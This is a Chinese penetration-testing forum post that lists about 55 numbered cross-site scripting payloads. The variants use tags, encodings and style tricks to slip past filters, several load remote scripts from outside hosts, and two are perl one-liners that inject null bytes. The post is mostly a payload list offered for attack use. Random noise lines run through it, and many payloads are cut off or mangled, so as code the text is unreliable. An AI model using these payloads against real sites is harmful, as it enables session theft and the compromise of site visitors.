中国网络渗透测试联盟
标题:
XSS攻击汇总
[打印本页]
作者:
admin
时间:
2016-4-28 10:06
标题:
XSS攻击汇总
(1)普通的XSS JavaScript注入
. R- E- |2 d6 z# k* x [
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
- l! ]2 i6 C6 r
(99)另类弹框
' C' R! K* R6 ?) t0 }0 E
<q/oncut=alert()>1
1 y1 b5 v$ Q$ b# a/ v2 c3 Q
<s/onclick=alert()>b
6 b" l6 h6 P% W' c) Y. y
<XSS=" onclick="alert(1)//">clickme</SSX=">
0 @7 P- M/ P3 x6 T7 T" ^ `. y
<zzz onclick=alert`1`>clickme</zzz>
, i& v% E3 ~$ n- j/ z% t% o$ U) Y
<a onclick=alert`1`>clickme</a>
0 s, B* _) f' y: C
<a=">clickme</a=">
! P. X& J& k& Y9 D$ q
<a=">clickme</a>
% D$ g7 D6 L' h) j S* D
<z=">clickme</z=">
+ ^" ]& z2 a9 g/ E8 p* \
<z onclick=alert`1`>clickme</z>
w2 U1 [% }6 B: _; |0 K& Q
5 o3 k% i0 j* Q. B9 y
(2)IMG标签XSS使用JavaScript命令
T$ c+ X. X% U- y2 h
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
- c+ P- R: s6 ` B! y
( A B% D* Y! ^3 E
(3)IMG标签无分号无引号
/ _: Z/ m1 x" t
<IMG SRC=javascript:alert(‘XSS’)>
" a% U4 ^" D: f$ m5 [
& C' Y j; z9 n+ m; O
(4)IMG标签大小写不敏感
/ |& g( d7 |9 y/ J; u6 p
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
7 n- j2 U4 ~& x' }
6 X' u& G# z4 ^' E- u x
(5)HTML编码(必须有分号)
7 s; F" b& a: N
<IMG SRC=javascript:alert(“XSS”)>
5 z+ [) l, |! N3 ^' o% B* G
7 Q2 T4 F# b) h5 ~6 j; L# n y
(6)修正缺陷IMG标签
( L* Q4 z; o" I4 i
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
) S! j/ u/ M2 _
; Z, Z! k# H& p) s3 `6 n% l# V
(7)formCharCode标签(
计算器
)
- r4 N# W. s% K6 ^' |. k6 ^
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
1 \% z) x+ W5 W
! m- f7 K4 D' R
(8)UTF-8的Unicode编码(
计算器
)
' U" e7 g( y! O/ h
<IMG SRC=jav..省略..S')>
$ F6 e4 x3 ?; d
! i! |5 ]9 [+ c9 T% e6 K8 ]6 v0 i
(9)7位的UTF-8的Unicode编码是没有分号的(
计算器
)
. s2 S" D, C) n* J
<IMG SRC=jav..省略..S')>
5 K& E6 [* c1 _- _; {5 P. s
: n0 p4 c0 C+ @) d! c1 E1 @: A
(10)十六进制编码也是没有分号(
计算器
)
1 F$ W3 ~: H$ l8 G! F
<IMG SRC=\'#\'" /span>
+ p# e/ N; M5 F1 W$ t- Y
1 L+ M7 y3 p1 N
(11)嵌入式标签,将Javascript分开
. i9 B+ \/ y- w b' e) {
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
* [' T# C5 Y8 b# {8 B" @. y% K
5 R' s T- y+ w
(12)嵌入式编码标签,将Javascript分开
8 Z& V! p* `" l, g+ H0 u% g! X
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
5 q" n8 H' Y V- X1 j
4 |& j6 B0 L/ F& C
(13)嵌入式换行符
- A# s5 J% h* l7 x/ W% c
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
/ s! ]) A% |, P. n( y
6 u$ B/ B6 r7 J/ {
(14)嵌入式回车
1 |( O' A7 m. C2 x# J
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
1 H+ H/ i$ k" y, T1 U3 O
/ a6 }# e. S% h# c+ X
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
; e! r5 H. i* k
<IMG SRC=\'#\'" /span>
1 E8 R% t7 I6 B% O
4 O5 t( o1 _7 H! Z3 _4 o
(16)解决限制字符(要求同页面)
$ q. S* u2 z3 @, w' D# k5 s
<script>z=’document.’</script>
' @) G- Q8 Y2 z5 o* i- o( ~
<script>z=z+’write(“‘</script>
) H0 o! u+ D8 _% A
<script>z=z+’<script’</script>
0 _* C: X N6 q
<script>z=z+’ src=ht’</script>
( b/ v! X- S2 ]6 Y9 H5 r
<script>z=z+’tp://ww’</script>
5 a/ M& F" m+ o
<script>z=z+’w.shell’</script>
+ q( H+ ~) h7 \2 |0 q( q& z( v
<script>z=z+’.net/1.’</script>
$ W& h3 y& ]. h0 k0 E4 _7 H
<script>z=z+’js></sc’</script>
# R8 g' h0 X, g3 Q8 y
<script>z=z+’ript>”)’</script>
* `8 w) E ^* \7 ?$ A; D
<script>eval_r(z)</script>
" }0 Y) L1 z9 [$ g5 f' f
4 D! b9 [4 z3 g+ `. l4 d
(17)空字符
5 G. E2 ]8 O9 L
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
6 N2 B; u, S* [
& `8 t" W1 s# u) n
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
" _0 T! c2 m+ N
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
0 P5 I: L5 O6 y" Z8 Q' V
3 U7 K: T+ v+ v& e+ A1 A: [& N7 R; p+ _
(19)Spaces和meta前的IMG标签
& F t; h3 d0 N! I) d( B/ {9 `, f
<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
8 l1 X! ?! b6 s* V4 M. Z
4 ]% p2 O+ L2 ^! N- Z
(20)Non-alpha-non-digit XSS
! r7 P; ]! f) M5 Z
<SCRIPT/XSS SRC=\'#\'" /span>
http://3w.org/XSS/xss.js
”></SCRIPT>
" c7 ]5 t+ g2 D$ J
* q, c: @" s& p' Z, {
(21)Non-alpha-non-digit XSS to 2
5 b, ~) f- z2 O+ d, V
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
# G4 V @# U' Q4 B* q( Q, Y- g: K
5 t$ `! |0 f; \
(22)Non-alpha-non-digit XSS to 3
@2 g. r1 L1 t5 S
<SCRIPT/SRC=\'#\'" /span>
http://3w.org/XSS/xss.js
”></SCRIPT>
$ E8 K6 j/ d" o; o8 E
$ [8 f- C% _) M2 N' N
(23)双开括号
6 z; c/ n/ D9 b% d' R' [) J- s
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
: p( _6 C/ J N
; E- B: |$ \; a' T9 H5 p/ X4 L
(24)无结束脚本标记(仅火狐等浏览器)
& e, h7 w! x! ~
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
\6 ?* F w4 r9 Q6 u
" n# M x/ r* g. ~( l% V
(25)无结束脚本标记2
; e' F: w9 s1 w0 E' m$ N
<SCRIPT SRC=//3w.org/XSS/xss.js>
" I0 t' |) h2 b
+ E2 P1 b* {3 r
(26)半开的HTML/JavaScript XSS
* Z i% y/ g+ k# H8 @/ J, m
<IMG SRC=\'#\'" /span>
6 t5 Y' W4 F! _6 m- }
# Q' @- C" O+ p E) _
(27)双开角括号
3 @* ?% Z' {, y: ]" ^+ w
<iframe src=http://3w.org/XSS.html <
! L t* J# w/ ?! b
( U( @, w- t; a4 F7 W7 W; O7 c ~0 n
(28)无单引号 双引号 分号
. n" ]: |, K) `4 j+ r0 W
<SCRIPT>a=/XSS/
1 j% w, k6 W# v, {9 k
alert(a.source)</SCRIPT>
" C) N# @: q3 [8 P. S
/ A, \# S% i, p4 S
(29)换码过滤的JavaScript
$ }+ q$ H! B6 t6 d6 T
\”;alert(‘XSS’);//
# J; ]: m: c9 ]/ c; P" {
& w N/ d- ~1 N: s
(30)结束Title标签
; z7 g5 O S5 t |5 s' p) S- B
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
5 \1 z7 K, {' M/ o
, B8 n1 `3 k3 E" @6 {
(31)Input Image
. h+ N4 `2 P% ~/ o
<INPUT SRC=\'#\'" /span>
0 |3 O* n* e0 F8 W
6 B8 }4 `2 c5 J4 K
(32)BODY Image
! m! R" c& G4 a/ a( C
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
/ E9 V5 g# _3 [
V. l9 s( T/ [/ O5 ?
(33)BODY标签
6 _1 s, @9 |! f) Z( ?
<BODY(‘XSS’)>
) h8 x4 h! J" t8 Z
& z0 Y, F$ p0 X) I# l& p
(34)IMG Dynsrc
3 D$ z3 B7 S, Z/ o9 B
<IMG DYNSRC=\'#\'" /span>
+ Q0 j% |5 n" X
$ t8 S$ B% T; a* x. ^
(35)IMG Lowsrc
4 @& n1 I- R+ Q! A
<IMG LOWSRC=\'#\'" /span>
! _% C( p! {* V" A% } K
7 v& ]; C" I A' P4 q8 M J8 {
(36)BGSOUND
1 Y& S4 E5 p1 C& S
<BGSOUND SRC=\'#\'" /span>
3 Q4 T. f1 x% o4 a
9 y" y9 s2 a# j0 w
(37)STYLE sheet
7 [ K6 P2 N! |- |5 w
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
" q) ]! a, r @! l! e
. d: L, @& i+ I Y' _1 n
(38)远程样式表
" ^1 f2 H t" j) ^7 x6 g- Z) t) R) }
<LINK REL=”stylesheet” HREF=”
http://3w.org/xss.css
”>
/ ]! h1 d" ?2 Q% n$ c
! T: x3 c: {" `1 x3 y; C
(39)List-style-image(列表式)
9 Z9 Z9 w7 [* t( [% `: B2 Z
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
1 j' a# d6 _9 S0 I! g8 A
; I' }$ S; ^5 O/ y. {" t
(40)IMG VBscript
5 ]$ \* B, X6 ]2 H
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
! e6 C) s( ~3 G4 s. F) \! V
; ]) f& n, f3 o ?/ h3 V
(41)META链接url
) z! D1 d9 H" p( r$ n
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
* E$ V& | C4 B4 u: E+ |
O1 e% w2 V# ?! c$ ?
(42)Iframe
' _+ O: Z1 H' ]: N# |& n
<IFRAME SRC=\'#\'" /IFRAME>
6 I7 J$ a2 W( P* [+ J
0 C; R d3 d$ C, {/ ^
(43)Frame
* y1 u0 J" t8 a5 ~% ?9 b3 k
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
% E/ M8 z t. D
. s- [- _$ n5 G1 k
(44)Table
6 a+ f; c1 Z: F* G
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
, e1 Y) N( f; \! F
' r2 O! r% m) f
(45)TD
. K8 f& F% j1 Y! y) x! c9 R( q
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
8 m) M2 H2 N+ h- y7 M0 `! @
0 f% P6 h2 h( S+ @) G9 Z
(46)DIV background-image
; f G/ {+ K. u5 s
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
, G. W" k! k9 `: {1 b0 n* `. Q
) t" l$ n, J0 k( O
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
# R' d$ J6 d2 w2 z+ C/ u
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
! w% I8 V6 o& a, J
# H3 V6 ^. e9 T/ W
(48)DIV expression
u9 u+ H. O$ ?( S! C
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
# i% A8 C! p* n6 f
( O+ R1 W5 L/ V. u8 ~. }' w
(49)STYLE属性分拆表达
6 q2 O1 L$ w3 V; K% c
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
4 F: o1 E! y* v. E
+ j4 i8 }/ a& U
(50)匿名STYLE(组成:开角号和一个字母开头)
- D* l; j, ?% f) H* Y
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
: E5 Q" R; i1 S# f$ I% h. d) `
" y8 I5 D8 J" F+ r; F6 p r+ R' i, y: E$ X
(51)STYLE background-image
( s6 e9 L, W% ]: h
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
4 v: [6 d& w6 g5 p! `7 D( x& d
; k e# B: `$ F5 V7 f% q
(52)IMG STYLE方式
' r2 j$ \/ u- Q7 b: \
exppression(alert(“XSS”))’>
) `7 j4 c( i! K" I
4 j8 @, D' n# N" L" T% w
(53)STYLE background
4 u8 |5 g1 u3 n
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
7 v: B$ l1 U' J i' i. W
& a9 W% x. ]) ^
(54)BASE
# U- ?% k" K% X* K$ b
<BASE HREF=”javascript:alert(‘XSS’);//”>
8 \+ x2 c# F- o. z
& { h( O- G" Z
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
' } |$ d+ U& j+ f, B- x2 x6 x$ a- r+ J; R
<EMBED SRC=\'#\'" /span>
http://3w.org/XSS/xss.swf
” ></EMBED>
3 q: Z0 E% D2 d) b' M
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2